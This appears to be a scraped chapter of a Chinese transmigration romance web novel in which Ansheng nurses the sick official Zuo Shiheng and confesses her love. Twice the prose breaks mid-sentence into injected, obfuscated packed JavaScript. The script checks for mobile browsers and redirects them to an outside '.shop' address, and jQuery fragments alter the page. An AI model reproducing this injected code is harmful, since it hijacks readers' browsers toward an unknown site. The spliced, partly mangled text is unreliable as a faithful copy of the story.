“我是想说,手臂上这些伤是怎么弄的?” “啊……”他后知后觉,耳根红起来,指节也下意识蜷曲,“双星堤下有一段乱石滩,路滑,不小心跌了一跤,并无大碍。” 安声又盯着他不语,直到他受不住,携一丝慌乱躲避她的视线,又低低咳起来。 安声做了一件大胆的事,她将被子往上提起将他裹住,顺势隔着被子轻轻抱住他,拍了拍他的后心。 她说:“左时珩,我想要你平安健康。” 分明很亲昵的举动,却并无暧昧。 安声感觉到左时珩微微僵住,片刻后,才倾身抵住她颈侧,于她耳畔笑着柔声回应。 “好,我会的。” …… 早上胡太医过来给左时珩号了号脉,见他精神状态好转不少,难得点了点头,又问了安声他昨晚睡眠如何。 安声想了想,回答:“满打满算,一共睡了不到四个时辰,原先躺着的,后来一下咳的很严重,我就让他靠坐着,不过那会儿人没有完全清醒,慢慢又睡着了,后半夜倒没怎么咳,直到天蒙蒙亮才又有些不舒服。” 胡太医沉吟:“不清醒大概是吃了药的缘故,能睡下就是好事,只是咳疾到底没好,躺着难免难受,若能靠着休息,自是可行的。我待会儿让他们照例送点清粥过来,待吃下半个时辰左右再喝药,看看还吐不吐,若是不吐,便能好转了。” 他瞧了眼左时珩床上的两床被子,又嘱咐安声:“夫人夜间还请辛苦多盯着些,左大人病了几年,原就孱弱,如今再不珍重养生,继续作死,便是华佗在世也无能为力。不过这话我也并非第一次说,嘴皮都说破了也无用,大抵只有夫人的话管用了。” 左时珩低咳了声,似有些尴尬。 安声认真应下,又问了些细节,等看着左时珩喝完粥,也吃完了药,便去厨房端了碗糖水来。 “没有蜜饯,将就下,清清口。” 左时珩接过,道了声谢,待喝完,想问许久的话才终于问出了口:“安声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16720893|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨夜……你一直在这里吗?” 安声懒散地坐在脚榻上,在床边趴下,打了个呵欠:“昨夜我就到了,不在这里还能在哪里。” 她发髻早就乱了,索性去了钗环披下来,穆诗没有在她身边,她不太会弄古代的头发。 因屋内发潮阴凉,她上午让驿馆送了个炭盆来,烤得屋里暖暖的,她奔波到嘉城,又几乎一夜未睡,这会儿吃了饭,一趴下就开始犯困。 她闭上眼,呼吸清浅,发丝幽香。 左时珩垂眸看她,眼底无限柔情,长睫微微发颤。 原来昨夜……不是梦。 是他的妻子真的来到他身边,陪着他,拥着他,和从前无数个夜晚一样。 她的体温与味道,他绝不会认错,即便在梦里亦是如此。 何况,这次不是梦。 他低低道:“安声,谢谢。” 安声“嗯”了声,将睡未睡。 “安声。”他轻声唤她,“到床上睡吧。” 安声掀了掀睫:“那你呢?” 他笑:“我去外间即可。” 安声复合眼,将他被角按住:“开什么玩笑……就这样别动,让我眯一会儿就好。” 她大约是倦极了,很快就沉沉睡去。 左时珩侧身静静望着她睡颜,不敢惊醒她,只是爱意奔腾,实在忍不住,悄悄俯身在她发顶落了个吻。 窗外风似乎停了,天光大亮,透入室内,将简陋的陈设照得明亮而清晰,镀了一层淡淡的暖色。 炭火静燃,热意升起,仿佛将去的春日在附近驻足,又或是未至的夏季已提前来到。 左时珩靠在叠好的软被上,被暖意笼着,连日来首次如此身心愉悦。 他压住喉骨,将发痒的感觉忍了回去,随后慢慢倚向床头,指尖停留在安声的手边一寸处,在她身侧,也渐渐涌起睡意。 趴着睡不太舒服,安声睡得蒙了,似乎做了个梦,梦里她回到学生时代,趴在窗边课桌上午睡。 教室内静悄悄的,只有头顶风扇呼呼转着,发出白噪音。 她半睁开眼望向窗外,绿意盎然的冬青树晃着细碎的阳光,枝叶掩映处偶尔响起蝉鸣,一切那么催人昏昏欲睡。 她转了个头,趴向另一边,仍觉得不舒服,于是睁开眼,却发现自己是在床边。 唔……她恍惚记起今天好像是周末,不用上学,她午后趴在床边看书不小心睡着了。 于是放下心来,再次闭上眼,凭着本能爬上床,钻到被子里,抱着她香香的枕头躺好,总算睡得安心起来。 左时珩缓缓掀眸,难掩灼热,气息也逐渐沉重急促,以至于有些克制不住。 他毕竟是男人,他们又是夫妻。 他们曾经无数次耳鬓厮磨,交颈而眠。 他挚爱她的一切,她的体温,气息,甚至每一缕拂过肌肤的发丝都能让他有所反应,这些都是夫妻间理所应当的日常,非自身所能掌控。 可是—— 左时珩仰倒在枕上,望着床帐,被一股无名火灼得浑身难受。 而安声却一无所知,沉浸在梦里,又往他身上缠了缠,发出几声呓语。 22.言情 不知是太舒服还是太累,安声一觉睡到傍晚才醒。 醒来时,她身上盖着柔软暖和的被子,怀里抱着个软枕。 炭盆里的炭被取走了几快,让房间里的温度处于一个刚好合适的状态,温暖如春。 她懵了会儿,才接受自己睡在左时珩的床上这个事实。 那……左时珩呢? 她穿鞋下了床往外走,果在屏风后的软榻上见到他,他穿着中衣盖着毯子,慵懒地斜倚着,手里拿着本书在看。 他一头墨发也散了下来,似乎还残余潮意。 安声过来时,他大约未注意到,直到她说话方才抬起头:“醒了?” 又坐正了,轻笑问道:“还想睡么?怎么抱着枕头?” “诶?”安声这才发现自己忘了把枕头放下,便讪笑道,“我睡太久睡傻了。” “来坐会儿吗?”左时珩拍了拍软榻的空处,顺滑如绸缎的发垂在身侧,轻轻摆动。 安声应声坐到他身边,也没放下枕头,而是抱着将脑袋贴上去,依旧有些懒懒的。 “左时珩,我怎么睡到床上去了?” 他低笑两声,才道:“你自己爬上去的。” “那我是不是把你挤下去了?” “没有,那时我已不在床上,去处理了些公务。” “又处理公务,你有那么多公务要处理吗?下次病没好,不许处理公务了。” 这样的话和语气未免有些太“家属”了。 安声刚睡醒,脑袋还有些钝钝的,说完才回过味,有些不好意思,却又不想心虚地过于明显,便将脸默默埋在枕头上。 她听见左时珩笑了声,说:“好。” 又过了片刻,他的声音里添了几分揶揄:“我想,枕头可能喘不过气了,饶了它吧。” 安声忍不住笑,转了点脸,只露出一只眼睛看他。 “我还说来照顾你的,结果自己一觉睡到现在……左时珩,你下午睡了吗?有没有再吐?还咳得厉害吗?” 左时珩一一答了。 “睡了小会儿,吃过药后并未再吐,也未怎么咳嗽。” 说罢他又补充道:“之前吃了药便吐,大约是胡太医开的方子太苦,非常人所能下咽,嘴里一直是苦的,连喝水亦是苦的。” 安声顺着他话:“但因为我准备了一碗糖水,所以一切变得好起来了?” 左时珩神色认真:“嗯,我想是的。” 安声又忍不住把脸埋在枕头里,笑得双肩颤抖。 “左时珩,你的人生真是……好辛苦哦。” 左时珩扬起唇角,却故意叹道:“是啊,很辛苦啊。” 安声抬起头注视他,杏眼明眸,亮晶晶的,留着未尽的笑。 “那……有我在,会好一点吗?” 左时珩微怔,随即笑着点头:“嗯。” “喔,这样……”安声晃了晃脚,心跳不受控地悄悄加快。 夕阳斜落,透过门上的雕花在屋内拉长,她低头,去看地面那道金色光栅。 屋内的温度似乎又升高了些。 安声双颊隐约发烫。 有些话她在嘴边转了几个来回,却临阵退缩,开口剩下一般的闲聊。 “明天应该不会下雨了。” “嗯,下午就放晴了。” “晚上还是要好好吃药,我再给你准备甜点好吗?” “好。” 安声捂了下脸:“炭盆可以撤了,有点热。”她飞快看了眼左时珩,又收回视线:“我忘了问,你头发怎么是湿的?” 他亦挪走视线:“卧床几日,身上不洁净,便去洗了个澡。” “在我睡觉的时候吗?” “……嗯。”左时珩拿起书本,苍白的脸氤上暖色,“炭盆的确可以撤了,是有些热。” - 安声这次来的匆忙,只带了几件换洗衣裳,但穆管家办事可靠高效,不出一日就按安声吩咐置备了许多东西,并为回程做起准备。 晚上左时珩饭与药都吃了一半,实在有些不太舒服,安声便没勉强,去问了胡太医,太医说少吃点无妨,只要不吐即可,且待晚上再看,若是饿了想吃,可以再用点宵夜,最重要的是休息,切不可继续操劳了。 安声都记下,并安排人准备着。 到了夜间,她用穆管家买来的香炉,点了根安神香,香气袅袅,渐渐弥漫,驱逐着清苦的药味。 左时珩靠在床头,视线一直追随着她。 安声去桌上收拾了笔墨纸砚,全锁进箱子里,瞥了左时珩一眼。 “我问过胡太医了,他说皇帝让你好好养病,不要管工作,既然大老板都发话了,那我就替他坚决执行了。” 左时珩笑了声:“好。” “书可以给你留一本,你在驿馆闲来解闷,但我们回去的时候,你不能在路上看。” “好。” 安声想了想,一时也想不到还有什么,就去倒了杯温水过来:“放了一点点蜂蜜,喝完可以睡觉了。” 左时珩笑笑,饮罢一口,果然微微甜。 是她独属的表达方式,她若说一点点,当真就是少之又少。 安声将叠起的被子挪到床尾,叠了几件衣服在枕下,将枕垫高了些,扶着他躺下。 “现下还早,如果一觉睡到天亮最好,要是半夜醒来,渴了饿了,或者哪里不舒服了,一定要喊我,好吗?” 左时珩靠着枕上望着她,眼底尽是柔柔笑意:“嗯,好。” “别答应的好听,到时候又怕我吵醒我什么的,自己在这儿硬抗,你要知道,我就是来照顾你的,我答应了岁岁和阿序,接你回家,他们要的是一个健健康康的爹爹,而不是病恹恹的左大人。” 安声说着,伸手将他凌乱的额发轻轻拨开,做完才一僵,不动声色地收回手,语速加快:“你好好睡,睡不着也闭眼休息会儿,我先出去了。” 她快步离开。 左时珩望着她背影,久久不舍收回目光,便又落在屏风上,隔着一扇屏风,那儿的烛光将她纤细窈窕的影子映在其上,仿佛画中神女。 安声在榻上也睡不着。 她辗转反侧,千头万绪,理也理不清。 于是她从头开始捋了一遍,起于她辞职后的那场车祸,然后云水山,遇左时珩,再随他回家,至如今身在嘉城。 平心而论,她在左宅待的最长,因为没有手机网络,也不出门,岁月轻缓漫长,令她似乎对时间失去实感,这段日子,左时珩待她太好太好,她如今细想,脑子里竟一时都是他的身影。 她不得不承认,她从未享受过如此炽烈的关心,何况在这个本就陌生而奇怪的世界。 她在左时珩身边时,会完全安心与放松,也因此,她越难隐藏自己对他的依赖。 她不是个怯于表达的人,但她对一切发生的真相尚不清楚,也从未放弃过回到现代的想法,这两点顾虑让她又无法向他坦承心意。 可左时珩实在极好,在习惯性享受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16725265|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的好时,她愈发有回应的冲动,只每次都被强压了回去,这令她并不舒服。 无论如何,她是个情感充沛且细腻的人,不喜欢不清不楚不明不白的关系,这会让两人之间的边界感变得模糊。 至少她确信,活了二十四年,她还从未对谁如此心动过。 以后,大概也很难有了。 里间传来一声压抑的低咳,又很快安静下来。 安声不禁坐起望向屏风,心湖泛起阵阵涟漪。 那句石上预言再次浮现在眼前,如雨落下,于是涟漪翻涌成浪,将她瞬时淹没。 她蓦然生出一股冲动,径直奔去里间。 “左时珩,我有话对你说。” 原怕她担心而要装睡的左大人,闻言睁开眼,眸中一片温和清明。 他坐起来,认真且耐心:“好,我听着。” 安声深吸一口气,心道安和九年无论会发生何事,她既在此刻开了口,那便不必再扭捏逃避,未来未有定数,至少现在不会留下遗憾。 “左时珩,你知道我不是你的妻子,对吧?” 左时珩蹙了蹙眉,并未回答。 安声便又问:“那你对我好,是将我当作她的替身吗?” “当然不是,我……”他有些焦急,想要解释。 安声阻止了他,继续说下去。 “我与你的妻子,同名同姓,容貌相似,拥有一样的口味与喜好,甚至是字迹,我想,世上不该不存在两个一模一样的人,况且你深爱她,又岂会认错了人?” “不过,我的确并不是她,我二十四岁,不可能已婚十年且育有两个九岁的孩子,我之前的人生记忆也十分完整,所以,对此我有一些别的猜测,但并不一定是真相,以后我会慢慢弄清楚。” 烛光从她背后映照,她每一根发丝被勾勒成金色,眉眼却在夜色里若隐若现,神秘又神圣。 “安声,你……” “左时珩。” 安声走近,坐到床边,与他面对面,将每一寸神情在他面前暴露无遗。 “抛却以上种种,我还有一句话要说。” 她脸颊微红,话说嘴边还是忍不住羞涩,不过此次视线却并未移走,而是坚定地与他对视。 “我喜欢你。” 短短四字让她心跳如鼓,几乎要从胸腔跳出来冒烟了。 这是她人生中第一次告白,她曾设想过无数次会如何遇见她未来爱人,却怎么也想不到会是此情此景,这般奇妙缘分。 她的眼很美,很亮。 屋内烛火,窗外明月,皆在她面前黯然失色。 在她眸中,左时珩如见春日,是冰雪消融,是百花齐放,是繁星满天,是一切的一切,构成他的五脏六腑,三魂七魄。 是失去她后的一截朽木,重获生机,发出新芽。 他本该有万语千言要对她讲,却在此刻无声凝噎,化作了一片眼尾绯红。 “左时珩?” 再次听到她唤他名字时,他忽而落泪,轻笑着朝她伸出手。 “阿声,可以……再近些吗?” 他修长苍白的指骨微微颤抖,不如他声音那般温和从容。 触及左时珩的目光,安声所有紧张倏然落定,似有暖流自心间迸发,随血液蔓向全身。 她扑将过去,无所顾忌地用力抱住他,淡淡的安神香与草药的微苦下,是一枝清冷白梅。 没有动人情话,安声说:“左时珩,你这么好,一定长命百岁。”